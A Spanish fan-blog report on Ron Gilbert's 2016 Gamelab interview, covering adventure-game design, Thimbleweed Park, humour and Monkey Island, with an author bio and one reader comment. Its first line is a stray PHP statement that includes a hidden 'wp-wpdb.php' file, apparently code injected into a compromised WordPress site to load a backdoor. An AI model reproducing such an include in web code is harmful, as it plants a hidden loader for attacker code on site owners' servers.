if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Gamelab 2016: Ron Gilbert – La Fortaleza de LeChuck

Gamelab 2016: Ron Gilbert

Llevábamos años esperando este día, el momento de conocer a Ron Gilbert en persona y escucharle narrar su trayectoria profesional a través de las aventuras que han dado sentido a nuestro hobby y que fueron el motivo de creación de este blog. Esto fue lo más destacado de la entrevista a Ron Gilbert.

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Dan Pearson, editor de GamesIndustry, fue el encargado de realizar la entrevista a Ron Gilbert. El chico se había preparado a consciencia y se notaba que era realmente fan como así lo expresó al inicio de la charla. Ron comienza hablándonos sobre las aventuras gráficas como género que gusta a personas de cualquier edad y pone de ejemplo la historia de un niño que jugaba a Monkey Island sin saber leer, tan solo cogía cosas y realizaba acciones aleatorias, y parecía realmente fascinado. Eso hizo que años más tarde dejara LucasArts con la intención de diseñar aventuras gráficas para niños con la misma dinámica pero con puzles simplificados. Añade que los niños son puros y no se les puede engañar, quieren personajes e historias interesantes, y si no les atrae lo dejan de lado. Durante esa época aprendió a centrar al jugador en la historia y lo empleó en Thimbleweed Park.

Ron Gilbert en el Gamelab

Dan le pregunta si Thimbleweed Park es un juego para adultos, sin embargo, Ron confiesa que siempre ha diseñado para adultos y usa una filosofía como Disney: realizar producciones que van dirigidas para el público infantil pero que resultan interesante para los adultos, ya que al fin y al cabo son ellos los que llevarán a los críos al cine. Cuando trabajaba en Humongous Entertainment diseñaba pensando en que lo pudiera disfrutar todo el mundo, pero principalmente lo hace para él mismo porque como diseñador uno es el mejor público, lo importante es hacer algo a lo que te gustaría jugar. También relata la maravillosa experiencia de compartir las aventuras gráficas con amigos, no importa que no haya modo dos jugadores, el hecho de sentarse dos o más personas alrededor de una pantalla para resolver un puzle es muy divertido. Precisamente, cuando enseñan Thimbleweed Park en ferias, siempre piden a los jugadores que se traigan a sus amigos para ver cómo resuelven los rompecabezas juntos. Dan, como posiblemente gran parte del público, se puso nostálgico y recordó esos tiempos sin internet donde en el patio del cole se intercambiaban trucos y consejos, y si eso no funcionaba, bueno, dentro de la caja había un papelito con un número de teléfono para pedir pistas y confiesa que se dejó un dineral llamando porque era un número de los caros. El público se parte de risa.

Thimbleweed Park
Thimbleweed Park

Ron pasó un tiempo trabajando con Double Fine de Tim Schafer y Dan le pregunta por ello. Ron se preguntaba tiempo antes si aún tendrían esa chispa tanto con Tim Schafer como con Gary Winnick (con el que trabaja en Thimbleweed Park), y allí seguía, intacta, como cuando trabajaron en títulos como Maniac Mansion, Monkey Island, Indy… Y es genial, apunta. Actualmente Ron Gilbert trabaja desde casa junto con un equipo de 12 personas repartidas por todo el globo. Le encanta poder trabajar desde casa, ya que no tiene problemas para concentrarse y se puede marcar su propio horario.

«¿Te pones a jugar a tus juegos?» -Le pregunta Dan Pearson-. Sin embargo, Ron le dice que cuando acaba de lanzar un título no lo juega. Tiene sobredosis después de tanta prueba durante el proceso y deja pasar varios años para que resulte una experiencia fresca. Cuenta que hace unos dos años rejugó a Monkey Island 2 y olvidó cómo se realizaba el puzle del grog y la cárcel, y al final tuvo que mirar una guía de internet. Todos nos reímos pero no es el único, personalmente recuerdo que a Tim Schafer le pasó algo parecido mientras rejugaba Day of the Tentacle. Continúa hablando de puzles, concretamente del diseño de éstos. Normalmente empieza con una visión general de la historia, un comienzo y final, y alguna idea por la mitad, y luego crea puzles estructurales que son aquellos que hacen que la narrativa avance. A partir de ahí se trata de rellenar huecos. Él tiene la manía de «sobrediseñar» por lo que luego juega con el «quita y pon». Por ejemplo, en Thimbleweed Park, quitó 3 o 4 habitaciones porque no se le ocurrió un buen puzle. Para Ron todos los puzles tienen que estar relacionados con la historia, los personajes o el mundo, si no es meter paja.

La entrevista se centra ahora en diferentes aspectos de Thimbleweed Park, lo primero que se le pregunta es sobre la inspiración que ha tomado para el juego, especialmente las referencias que el público ve de Expediente X y Twin Peaks. Ron Gilbert se ríe porque los jugadores ven a los protagonistas como Mulder y Scully y realmente no pensó en ellos a la hora de crearlos, ni tienen la personalidad de los agentes del FBI, ni siquiera le gustó demasiado la serie (Cómo puedes decir eso, Ron :/!!!) Le gustan los mundos que crea David Lynch por esa mezcla de irracionalidad y realidad tan fascinante. Deseaba coger un pueblo y hacer algo así y en Thimbleweed Park pasarán cosas muy raras…
Gilbert indica que ya no está en el mismo punto que cuando creó Maniac Mansion o Monkey Island, ahora busca personajes con una parte oscura como ya se pudo comprobar en The Cave con esos individuos retorcidos. Le interesan los personajes que han sufrido y no son perfectos. Pone de ejemplo al personaje televisivo Tony Soprano, un ser malvado pero que cae bien a la audiencia. Ese tipo de personajes le fascinan y hace que el público quiera saber más de ellos.

Personajes de The Cave
Personajes de The Cave

El humor de las aventuras de Ron Gilbert es atemporal, y nos explica que le sale así, sin más. El humor no se puede analizar y normalmente surge de forma espontánea. Lo importante es no autocensurarse, ya que si modificas el chiste pierde la gracia. Normalmente consulta con su equipo las bromas y si a nadie le hace gracia lo quita, o a veces lo deja porque no todos los chistes han de hacer reír. Recuerda la tesis que un estudiante hizo de Monkey Island donde le buscaba el sentido trascendental a cada cosa, Ron la leyó y se dijo «¿De dónde saca esto este tío?» Señala que sus juegos no tienen más de lo que muestran, tan solo intenta crear una historia coherente pero reconoce que a veces las personas buscamos un significado personal al arte y eso es fantástico.

La conversación vuelve a Thimbleweed Park para tratar el sistema de objetos y verbos, herencia de los clásicos, y se le cuestiona su uso respecto a la narrativa y puzles. Ron Gilbert no cree que afecte negativamente, ya que si el diseño es bueno la interfaz no influye. Hoy en día el género de la aventura ha cambiado -comenta- y Telltale ha establecido una mecánica más basada en decisiones que en puzles, o también juegos como Kentucky Route Zero que han sabido darle otro carácter al género y es sin duda uno de sus favoritos. Otros que destaca son The Stanley Parable y WOW, este último le gusta porque es muy diferente a los juegos que hace. Procura no jugar a aventuras gráficas ya que acaba analizándolas y parece que esté trabajando. Reconoce que los últimos 25 años no ha acabado ningún juego, prefiere dedicar su tiempo libre a salir y disfrutar de otro tipo de actividades.

Dan retoma la entrevista hacia la evolución de Monkey Island y comenta que para él el remake de Monkey Island no tenía el encanto del original (por aquí estamos de acuerdo). Ron recuerda que en aquellos tiempos ellos utilizaban gráficos pixelados porque era lo que había y sus juegos solo llegaban a un pequeño grupo de jugadores que tenían PC. La gracia del pixelart es que da más margen a la imaginación y le encanta, por esa razón se decantaron por este estilo en su próximo juego.

Monkey Island Remake
Monkey Island Remake

Monkey Island fue una saga que sigue inspirando a los creadores, y Dan le comenta las referencias de Uncharted 4, pero Ron solo las conoce por los tuits que le han dejado sus seguidores. Le apena que no tenga los derechos de Monkey Island para demandarles -bromea-. Aquí es cuando Dan aprovecha y le suelta la inevitable pregunta: «¿Si pudieras volverías a hacer un Monkey Island?» Ron contesta inmediatamente que sí, ya que hay cosas de la mitología de la saga que le encantaría contar y su deseo siempre ha sido hacer un tercer juego. No obstante, subraya, que no sería todo igual que en aquella época porque ya no es la misma persona de antes.

«¿Hasta que punto hay algo de ti en Guybrush?»-Pregunta Dan- La gente se ríe cuando grita que nada. Cuenta la historia de como Guybrush surgió de su frustración al jugar a Police Quest de Sierra. Se supone que tenía que poner la pistola en una taquilla antes de salir de la comisaría y como no lo hizo le despidieron y se acabó el juego. «¿Cómo iba a saber yo que tenía que hacer algo así si no soy policía?» -Se preguntó en aquel momento- En ese instante vio una falta de conexión entre el personaje y jugador. En el caso de Guybrush, él quiere ser un pirata pero aprende a medida que avanza en la historia junto al jugador, es importante que el personaje y el jugador vayan al mismo ritmo.

Police Quest
Police Quest

La entrevista cierra con su visión de las aventuras dentro de unos años y realmente no cree que cambien tanto por la tecnología. Los cambios realmente se producen por el público y recuerda como antes era un nicho de mercado pero ahora todo el mundo tiene un ordenador y juega a las exitosas aventuras de Telltale, algo inviable hace 20 años.

Se abre el turno de preguntas y una que uno podía faltar es…¿Cuál es el secreto de Monkey Island? Los asistentes se echan a reír. Pero se niega a responder e indica que solo una persona lo conoce, pero si llegara a hacer una nueva entrega de Monkey Island pondría un frase como «te revelamos el secreto de Monkey Island o te devolvemos el dinero.» El chico no se da por vencido e insiste con una nueva estrategia: «Pero ¿y si te murieras mañana? Al menos lo apuntarías en algún sitio, ¿no?» A lo que Ron responde «Eso animaría a alguien a matarme.» Todos nos reímos y al final el pobre chico se da por vencido.

Otro entre el público le pregunta si ha solicitado a Disney la IP, ya que no hace mucho escribió un tuit pidiendo a Disney que se la vendiera. El problema -dice- es ponerse en contacto con la persona adecuada en una macro compañía como Disney. Ha hablado ya con varias personas pero no con los responsables. De todas formas lo ve complicado ya que la mayoría de individuos que trabajan allí no tendrán ni la menor idea del juego.

Por último, se le pregunta si cree que es posible diseñar aventuras gráficas con multijugador. Sin embargo, lo ve difícil ya que primero debería diseñar para un jugador y luego para el cooperativo, lo que significa el doble de trabajo al tener que realizar dos juegos casi independientes. Señala que en The Cave podían jugar hasta 3 jugadores en modo local y allí si funcionaba al no ser exactamente una aventura gráfica. Ron cree que lo mejor es jugar a las aventuras con amigos y resolver puzles juntos.

Y así finaliza la entrevista con Ron Gilbert, una charla muy interesante y divertida donde hemos conocido detalles creativos, nueva información de Thimbleweed Park y el estado de Monkey Island respecto a Disney. Nos llevamos gratos recuerdos de su estancia en el Gamelab además de Monkey Island 1 y 2 firmados y una foto para el recuerdo. Gracias Ron.

gamelab-ron-gilbert-foto

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

3 comentarios

  1. Medio mundo dice que el verdadero secreto de Monkey Island es que todo es una fantasía de Guybrush, quien en verdad es un niño que está con sus padres en un parque de atracciones o en una feria. Otros dicen que en verdad no hay ningún secreto. Lástima que Ron, incluso con los años que han pasado, siga tan cerrado al respecto. Sin embargo, eso implica que tiene la esperanza de poder hacer un 3er juego de la saga.

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